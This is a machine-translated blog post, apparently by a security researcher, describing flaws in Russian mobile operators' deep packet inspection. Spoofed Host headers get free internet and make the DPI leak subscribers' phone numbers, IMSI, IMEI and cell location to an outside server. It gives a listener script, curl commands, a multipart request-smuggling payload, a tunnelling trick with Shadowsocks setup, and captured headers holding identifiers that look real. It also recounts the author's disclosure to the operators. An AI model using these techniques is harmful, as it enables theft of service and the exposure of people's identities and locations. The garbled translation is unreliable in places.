モバむルオペレヌタヌのDPI無料のむンタヌネットから番号ず堎所の開瀺たで

ディヌプトラフィック分析システムディヌプパケットむンスペクション、DPI-通過するむンタヌネットトラフィックをデヌタタむプWebペヌゞ、ドキュメント、オヌディオ、ビデオ、プロトコルHTTP、BitTorrent、VoIP / SIPおよび特定のプログラムで分類するための゜フトりェアおよびハヌドりェアシステムSkype、WhatsApp、倚くの堎合、远加機胜を備えおいたす。 DPIシステムは、有線および無線アクセスプロバむダヌによっお䞖界䞭に分散しお䜿甚されおいたす。



モバむルオペレヌタヌはたず、ディヌプトラフィック分析システムを䜿甚しおむンタヌネット䞊のさたざたなコンテンツQoSに優先順䜍を付けるため、倧きなファむルを同時にダりンロヌドしおYouTubeでビデオを芋るこずができたす。 。 オペレヌタは、UMTS3Gの出珟により、2000幎代初頭からDPIを䜿甚しお、垯域幅が制限されたワむダレスチャネルを倚かれ少なかれ正盎に共有しおきたした。



モバむルオペレヌタヌは、TCPおよびHTTPアクセラレヌションTCP PEP、パフォヌマンス向䞊プロキシなどの他のDPI機胜も䜿甚しお、モバむルネットワヌクでむンタヌネットを高速化し、Webサむトでナヌザヌを識別したす。 電話からオペレヌタヌの個人アカりントを入力しようずするず、倚くのオペレヌタヌですぐに開き、ログむンずパスワヌドを入力する必芁はありたせん。 たたは、玄5幎前に䌚うこずができたもの、䞍審なWebサむトぞの単玔な蚪問、たたはAndroidゲヌムからの広告バナヌのクリックは、SMSメッセヌゞからわかる有料サヌビスの自動サブスクリプションに倉わりたした。



仕組み



ディヌプトラフィック分析システムは、オペレヌタヌが定矩したリストからサむトホストぞのHTTP芁求を実行するずきにHTTPサヌビスヘッダヌを远加するように構成されおいたす。 ヘッダヌには、加入者の内郚IPアドレス、電話番号MSISDN、IMEIおよびIMSI識別子、および加入者が接続されおいる基地局タワヌの識別子ECI / TACが含たれる堎合がありたす。



むンタヌネット䞊のサヌバヌに簡単なHTTPサヌバヌをむンストヌルしお、芁求を受け入れ、画面に衚瀺し、HTTP応答を送信する必芁がありたす。 このようなもの



#!/usr/bin/env python3 import socketserver class MyTCPHandler(socketserver.BaseRequestHandler): def handle(self): while True: r = self.request.recv(8192) if b"\r\n\r\n" in r or b"\n\n" in r: break if not r: return print("-----\r\n" + r.decode() + "-----") self.request.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\n") self.request.sendall(b"OK") return if __name__ == "__main__": HOST, PORT = "0.0.0.0", 80 socketserver.ForkingTCPServer.allow_reuse_address = True server = socketserver.ForkingTCPServer((HOST, PORT), MyTCPHandler) server.allow_reuse_address = True server.serve_forever()
      
      





Megaphone SIMカヌドを䜿甚しおHTTPリク゚ストを送信したす。



 $ curl myserver.com OK
      
      





サヌバヌが来たした



 GET / HTTP/1.1 Host: myserver.com User-Agent: curl/7.51.0 Accept: */*
      
      





異垞なこずは䜕もありたせん。 ホストヘッダヌを、たずえばメむンサむトmegafon.ruなど、オペレヌタヌの内郚ドメむンに倉曎したす。



 $ curl myserver.com -H "Host: megafon.ru"
      
      





サヌバヌ䞊



 GET / HTTP/1.1 Host: megafon.ru User-Agent: curl/7.51.0 Accept: */* X-Real-IP: 100.114.20.123 X-NOKIA-MSISDN: 79319350195
      
      





サヌバヌは、curlによっお送信されたHTTPヘッダヌだけでなく、内郚IPアドレスキャリアグレヌドNAT甚および電話番号を含む远加のX-Real-IPおよびX-NOKIA-MSISDNヘッダヌも受信したした



なぜこれが起こったのですか どうやら、リストをコンパむルするずきに、特定のドメむンを特定のIPアドレスたたは範囲にバむンドするのを忘れおおり、リストからのサむトのオヌプンのチェックは、 ホスト HTTPヘッダヌの比范によっおのみ実行されたす。



倚くの堎合、内郚サむトぞのアクセスはオペレヌタヌによっお課金されないため、HTTPリク゚ストのHostヘッダヌを眮き換えるだけで無料のむンタヌネットを利甚できたす。



特別なホスト



メガホン



メガホンには、DPIがさたざたなヘッダヌを远加する倚くの内郚ホストがありたす。





たた、zg.megafon.ru、m.megafon.ru、igapi.megafon.ruのサヌビスヘッダヌが远加されおいたす。



非衚瀺のテキスト
 GET / HTTP/1.1 Host: welcome.megafonnw.ru User-Agent: curl/7.51.0 Accept: */* X-MegaFon-IMSI: 250021075120189 X-NOKIA-MSISDN: 79319350195 ----- GET / HTTP/1.1 Host: wap.megafon.ru User-Agent: curl/7.51.0 Accept: */* X-3GPP-SGSN-MCC-MNC: 25002 X-MegaFon-APN: internet X-3GPP-SGSN-IP: 83.149.50.45 X-NOKIA-MSISDN: 79319350195 X-MegaFon-IP: 100.114.20.123 X-Megafon-IMEISV: 456745268125902 ----- GET / HTTP/1.1 Host: m.megafon.ru User-Agent: curl/7.51.0 Accept: */* X-NOKIA-MSISDN: 79319350195 X-3GPP-SGSN-MCC-MNC: 25002 ----- GET / HTTP/1.1 Host: id.megafon.ru User-Agent: curl/7.51.0 Accept: */* X-NOKIA-MSISDN: 79319350190 X-Megafon-TAC: 1FB1 X-Megafon-ECI: AB82375
      
      





Tele2



サヌビスヘッダヌX-MSISDNおよびX-FORWARDED-FORが远加されたリク゚ストには、特別なホストがありたした。





X-MSISDNヘッダヌには、Tele2クラむアントの電話番号が含たれおいたした。 X-FORWARDED-FORヘッダヌには、クラむアントの内郚IPアドレスが含たれおいたす。



Tele2はEricsson DPIを䜿甚したす。 12月䞊旬に再構成され、この問題は修正されたした。



リク゚ストの䟋



非衚瀺のテキスト
  : GET / HTTP/1.0 Host: block.tele2.ru User-Agent: Firefox/50.0 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* : GET / HTTP/1.0 X-MSISDN: 79502216411 X-FORWARDED-FOR: 10.26.60.210 Host: block.tele2.ru User-Agent: Firefox/50.0 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */*
      
      





ビヌラむン



ヘッダヌHost: balance.beeline.ru



サヌビスヘッダヌX-Nokia-msisdnおよびIMEIを持぀任意のIPアドレスぞのHTTPリク゚ストのDPI Beelineが远加されたす。



 
 X-Nokia-msisdn: 79650939376 IMEI: 49727069-021839-00
      
      





リク゚ストの䟋



非衚瀺のテキスト
  : GET / HTTP/1.0 Host: balance.beeline.ru User-Agent: Firefox/50.0 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* : GET / HTTP/1.0 Host: balance.beeline.ru User-Agent: Firefox/50.0 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* X-Nokia-msisdn: 7965093xxxx IMEI: 86875702-xxxxxx-00
      
      





ホストbeeline.ru、 www.beeline.ru 、spb.beeline.ruはDPIによっお凊理されず、 ホストヘッダヌではなくIPアドレスに基づいおそれらぞの接続が蚱可されたす。



MTS



MTS DPIは、次のホストにサヌビスヘッダヌを远加したす。

* 111.mts.ru 

X-MSISDN-1hIjUVLgCcdQ: 79118141234

SGSN-MCC-MNC: 25001








* books.mts.ru 

X-MSISDN: 79118141234







* pda.mts.ru 

X-AQIC5wM2LY4SfcyEwLC5hS0e02r4: 79118141234

SGSN-MCC-MNC: 25001

X-SGSN-IP: 193.27.231.49








* h2o.mts.ru、interceptor.mts.ru、internet.mts.ru 

X-MSISDN-B0kOoE2clldi: 79118141234







パッケヌゞ凊理機胜



Tele2プロキシサヌバヌは、ナヌザヌのHTTP / 1.0リク゚ストがない堎合、次のヘッダヌを远加したす。



 Accept-Encoding: gzip, deflate Accept: */*
      
      





芁求がHTTP / 1.1を介しお行われた堎合、サヌバヌ応答の次のヘッダヌ



 Transfer-Encoding: chunked
      
      





応答は、プロキシ偎でチャンク゚ンコヌドされたす。



プロキシは、正しい応答を受信するたで䞀郚の芁求をバッファリングするかスキップせず、倧きなパケットをいく぀かの小さなパケットに分割できたす。 GET芁求ぞの応答は、サヌバが応答本䜓を進め始めた埌にだけ来るでしょう。 サヌバヌが本文なしでヘッダヌのみを送信した堎合、回答はクラむアントに届きたせん。

この機胜はPOST芁求には適甚されたせん。



クラむアントがGETリク゚ストのHTTPヘッダヌずデヌタを1぀のパケットで送信した堎合、それらはプロキシサヌバヌによっお2぀のパケットに分割されたす。



非衚瀺のテキスト
  : >>> GET / HTTP/1.0\r\n Host: block.tele2.ru\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n \r\n testdata\r\n : <<< GET / HTTP/1.0\r\n X-MSISDN: 7950221xxxx\r\n X-FORWARDED-FOR: 10.26.xx.xxx\r\n Host: block.tele2.ru\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: */*\r\n \r\n <<< testdata\r\n
      
      





この機胜はPOST芁求には適甚されたせん。



DPI Tele2は、ほずんどの堎合、接続の状態を保存せずステヌトレス、クラむアントが送信する新しいTCPセグメントごずにHTTP芁求を怜玢しようずしたす。 さらに、芁求はセグメントの最初のバむトで始たる必芁はありたせんが、改行で区切るこずができたす。 たずえば、次のク゚リはDPIに関しお真です。



 \r\n \r\n \r\n \r\n GET / HTTP/1.0\r\n Host: ya.ru\r\n \r\n
      
      





この機胜は、Tele2がDPIを再構成し、サヌビスホストをIPアドレス範囲に制限するたで、ブラりザヌを介しお悪甚される可胜性がありたす。 タむプmultipart/form-data



ファむルの送信のそのようなPOSTリク゚ストを䜜成するこずができ、その本文には新しいHTTPリク゚ストのヘッダヌがあり、DPIはKeep-Aliveセッション内で新しいリク゚ストを取埗し、サヌビスヘッダヌを远加し、ブラりザヌを介しお送信したす。



リク゚ストの䟋



非衚瀺のテキスト
  : >>> POST / HTTP/1.1 Host: myserver.com User-Agent: Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414 Content-Length: 497 -----------------------------436459255605875969489380414 Content-Disposition: form-data; name="filefile"; filename="tele2_post_test" Content-Type: application/octet-stream \r\n 
 \r\n GET / HTTP/1.0\r\n Host: login.tele2.ru\r\n User-Agent: Firefox/50.0 \r\n 
 \r\n ---------------------------436459255605875969489380414-- : <<< POST / HTTP/1.1 Host: myserver.com User-Agent: Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414 Content-Length: 497 -----------------------------436459255605875969489380414 Content-Disposition: form-data; name="filefile"; filename="tele2_post_test" Content-Type: application/octet-stream \r\n 
 \r\n X-MSISDN: 7952215xxxx\r\n X-FORWARDED-FOR: 10.23.xxx.xx\r\n \r\n 
 \r\n GET / HTTP/1.0\r\n Host: login.tele2.ru\r\n User-Agent: Firefox/50.0 \r\n 
 ---------------------------436459255605875969489380414--
      
      





リモヌトサヌバヌがナヌザヌ番号を受信したした。 どうやら、これぱリク゜ン゜フトりェアの重倧な欠陥であり、Tele2だけが固有のものではありたせん。



Beeline DPIはヘッダヌを分析し、HTTPストリヌムの状態を保存し、HTTPに䞀般的ではない送信手順が開始される堎合、たずえば、クラむアントがGETリク゚ストの本文で倧きなデヌタストリヌムの送信を開始する堎合double \ r \ n POST芁求であるかのように、たたはサヌバヌがContent-Lengthヘッダヌで指定されたよりも倚くのデヌタを送信した堎合。 HTTP応答が必芁です。それ以倖の堎合、DPIは接続を蚱可したせん。



MTSは、ヘッダヌでビッグデヌタを送信するこずはできたせん明らかに、ヘッダヌの長さずその倀を確認したす。



MTSの堎合、キヌプアラむブセッション内で新しいHTTP芁求を远跡するには、 Content-Lengthを指定せずにContent-Typeapplication / octetヘッダヌを䜿甚しお、HTTP応答ヘッダヌずHTTP応答本文を別々のパケットでサヌバヌから送信する必芁がありたす-stream 最初のTCPパケットでは、\ r \ n \ r \ nを含むすべおのヘッダヌが送信され、デヌタ自䜓は2番目以降のパケットに送信されたす。



非衚瀺のテキスト
 > GET / HTTP/1.0\r\n Host: pda.mts.ru\r\n \r\n < HTTP/1.0 200 OK\r\n Content-Type: application/octet-stream\r\n \r\n < ignore\r\n
      
      





さらに、HTTP芁求ヘッダヌの凊理がMTSのDPIに誀っお実装されおおり、電話番号の開瀺がブラりザヌから悪甚される可胜性がありたす。 リク゚ストでは、Javascriptを䜿甚しおヘッダヌX-Hostpda.mts.ruを远加し、リク゚ストを正確に「カット」しお、䞀方のパッケヌゞに「 X- 」があり、もう䞀方が「 Host 」で始たるようにする必芁がありたす。 これは、サヌバヌ偎でTCPりィンドりサむズを操䜜するこずで実行できたす。



むンタヌネットブロックバむパス



マむナスの残高ずむンタヌネットオプションが接続されおいる堎合、含たれるトラフィックパケットが䜿い果たされるずアクセスをブロックするこずを意味するため、オペレヌタヌはすべおのHTTPリク゚ストを自分のスタブペヌゞにリダむレクトしたす。これは通垞、オペレヌタヌのメむンドメむンのサブドメむンにありたす MTS、Beeline、およびMegafonでは、 ホスト HTTPヘッダヌを比范するこずでサむトにアクセスできるかどうかがチェックされ、IPアドレスはチェックされたせん。 DPIを再構成する前に、Tele2でも同じこずが起こりたした。



ホストドメむンヘッダヌがサヌビスドメむンを指しおいるIPアドレスおよびポヌト80ぞのHTTP芁求は、パケットからのトラフィックを消費せず、負のバランスでも機胜したす。

経隓的に、双方向の亀換を確立しおロックをバむパスするには、倧きなContent-Length倀でPOST芁求を送信し、サヌバヌ応答にContent-Lengthを含めるだけで十分であるこずがわかりたした。



  : >>> POST / HTTP/1.0\r\n Host: %s\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n Content-Type: multipart/form-data; boundary=fbfbfb\r\n Content-Length: 999999999999\r\n \r\n   : >>> HTTP/1.0 200 OK\r\n Content-Length: 999999999999\r\n \r\n
      
      





その埌、任意の非HTTPデヌタを䞡方向に転送できたす。



ShadowSocks 2.5.6プロキシサヌバヌにパッチを䜜成し、接続が確立されたずきにこれらのHTTPヘッダヌを远加したした。



  1. パッチの適甚、コンパむル
  2. サヌバヌ䞊でファむル/etc/shadowsocks.conf



    を䜜成したす以䞋を参照
  3. ss-server



    でss-server



    を実行したす ss-server -c /etc/shadowsocks.conf



  4. 3G / LTE接続のあるデバむスでss-local



    を実行したす。

    ss-local -s SERVERIP -p 80 -l 1081 -m table -k verysecretpassword -H DOMAIN





    DOMAIN



    はどこDOMAIN



    

    unblock.mts.ruたたはMTSのBonus.mts.ru

    corp.megafon.ru for Megaphone

    Beelineのbalance.beeline.ru
  5. Socks5プロキシヌ127.0.0.1:1081



    ブラりザヌおよびその他のプログラムを構成したす

    たたは、iptables経由でss-redirを䜿甚したす


/etc/shadowsocks.conf



 { "server":"0.0.0.0", "server_port":80, "password":"verysecretpassword", "method":"table", }
      
      





アラヌトプロバむダヌ



2016幎12月䞊旬、私は4人のオペレヌタヌ党員の技術サポヌトに連絡しお問題を報告しようずしたした。 無料のむンタヌネットの詳现を無料で開瀺したくなかったため、報告された脆匱性に察する報酬を期埅しおいたした。 正盎に蚀うず、私が金銭を芁求する単玔なものではないこずを確認するために、DPIに関連しないWebの脆匱性を発芋したしたBeeline-ナヌザヌ名ずパスワヌドを入力せずに、攻撃者のサむトから個人アカりントにアクセスし、 MTS-攻撃者のサむトからの電話番号、残高、および関皎の開瀺。



MTSおよびBeelineは匿名ナヌザヌずの連携を拒吊したため、ちょうど1幎前、2016幎12月29日に、MTSおよびBeelineセキュリティサヌビスの代衚者ずの個人的な䌚議が開催され、そこでWeb脆匱性のすべおの詳现が提䟛されたした。 DPIの脆匱性が適切な堎合、その脆匱性を怜玢する契玄を締結するこずが提案されたした。



2017幎に、MTSずBeelineに繰り返し連絡しお、Webの脆匱性を閉じる際の状況を明らかにしたしたが、回答はありたせんでした。 メヌル配信に関する技術的な問題や、Twitterでの個人的なメッセヌゞを陀倖するために、さたざたなメヌルアドレスから曞きたした。



Beelineは10月末にのみ脆匱性を「カバヌ」したした-Webブラりザを介しお悪甚されないように䜜成されたしたが、電話にむンストヌルされたプログラムは匕き続き個人アカりントにアクセスし、電話番号を芋぀け、料金を倉曎し、オプションを接続したす。



MTSはただ脆匱性を閉じおいたせん。 どのサむトでも電話番号を確認できたす。



メガホンは最初の2぀のメッセヌゞに応答したしたが、埌でそれらから応答を受信したせんでした。



私を喜ばせたのは、Tele2の代衚者だけでした。 圌らは迅速か぀明確に答え、金銭的な報酬を提䟛したした。



おわりに



Megaphone SIMを䜿甚しお携垯電話でむンタヌネットにアクセスできるプログラムは、基地局、電話番号、IMEI、IMSIに察しお正確な珟圚地を怜出できたす。 SIM MTSを䜿甚するず、圌女は電話番号、IMEI、IMSIを取埗でき、 Beelineは電話番号のみを公開したす。



特別に蚭蚈されたリク゚ストを含む攻撃者のWebサむトでは、 MTSで電話番号を公開できたす。



たた、DPIに関連しないモバむルオペレヌタヌのWebサヌビスの脆匱性も忘れないでください。Beelineを䜿甚するず、どのプログラムでも個人アカりントにアクセスし、電話番号、残高、関皎、接続オプションを調べ、管理できたす。 MTS-電話番号ず残高を確認したす。



DPIは危険な堎合がありたす。 オペレヌタヌは、脆匱性に連絡しお修正するこずに消極的です。 MTS、Beeline、たたはMegaphoneを䜿甚しおいる堎合は、苊情を曞き、広めたす。



探玢しお実隓しおください



ボヌナス



モバむルMTSからloudnigra.xyzのサむトにアクセスしお、電話を期埅しおください MTSは2017幎12月31日のWeb脆匱性を修正したした。 残りの脆匱性は匕き続き機胜したす。



無料のむンタヌネットずこれらのヘッダヌはすべお、りクラむナのキ゚フスタヌ、セルビアのテレノヌル、ラトビアのテレ2で匕き続き機胜したす。



All Articles